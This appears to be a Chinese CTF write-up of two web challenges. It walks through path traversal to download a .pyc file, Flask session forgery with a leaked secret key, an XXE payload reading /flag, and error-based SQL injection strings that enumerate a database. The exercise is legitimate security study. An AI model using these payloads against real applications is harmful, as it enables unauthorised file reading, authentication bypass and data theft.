前言
web又爆零了555,不过这次做的两题倒是都有收获一点新的思路,直接开等wp
yysy考点确实挺多的
WEB
CarelessPy
任意文件下载+pyc文件
进入题目ctrl+u
发现两个路由和一个任意文件下载
/eval
但是本人在做题的时候发现怎么传cmd都返回500,不知道问题在哪
看了wp才突然意识到,当时页面回显的是根目录下的所有文件和文件夹
也就是说我们要传入cmd的值是路径
(脑测部分)
传入?cmd=app
发现存在__pycache__文件夹
查看__pycache__文件夹,发现存在part.cpython-311.pyc文件
/login
一个登录页面
session解码一下可以发现
因此需要找key
任意文件下载/download?file=
测试发现app.py、flag、/proc被过滤了
下载根目录下的start.sh得到(其实这个东西好像没什么用只是忘了删而已)
#!/bin/sh
sh /flag.sh
python -m py_compile /app/part.py
python /app/app.py
rm -f /start.sh
同时也尝试下载/etc/environment和.dockerenv,但是里面都没有内容
于是路径穿越下载pyc文件进行反编译
/download?file=../../../app/__pycache`**`__`**`/part.cpython-311.pyc
得到part.py
源码
import os
import random
import hashlib
from flask import *
from lxml import etree
app = Flask(__name__)
app.config['SECRET_KEY'] = 'o2takuXX_donot_like_ntr'
得到key
然后就可以伪造session为{'islogin': True}
即eyJpc2xvZ2luIjp0cnVlfQ.ZIPg0A.ygraPDQc1WFID0dsaTEsUVUfRCs
然后去/login
实现登录
登录成功后页面回显 登录成功~呜呜呜~请前往 /th1s_1s_The_L4st_one
然后去/th1s_1s_The_L4st_one
路由
这里是xml页面,要用到xxe,
抓包测试发现在<web></web>
处有回显位
使用file
协议xxe注入读取flag即可
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<result><ctf>杂鱼~</ctf><web>&xxe;</web></result>
Confronting robot
报错注入+getshell
爆数据库名
?myname=1' and updatexml(1,concat(0x7e,database()),0)--+
得到robot_data
爆表名
?myname=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='robot_data')),0)--+
得到name
爆列名
?myname=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='name')),0)--+
得到username
爆字段名
?myname=1' and updatexml(1,concat(0x7e,(select group_concat(username)from name)),3)--+
发现有位数限制,用substr()
读取
?myname=1' and updatexml(1,concat(0x7e,substr((select group_concat(username) from name),14,44)),3)--+
得到/sEcR@t_n@Bodyknow.php
然后来到这个页面,卡在执行命令上。。。
看官方wp是要进行主从复制,但是我并没有vps(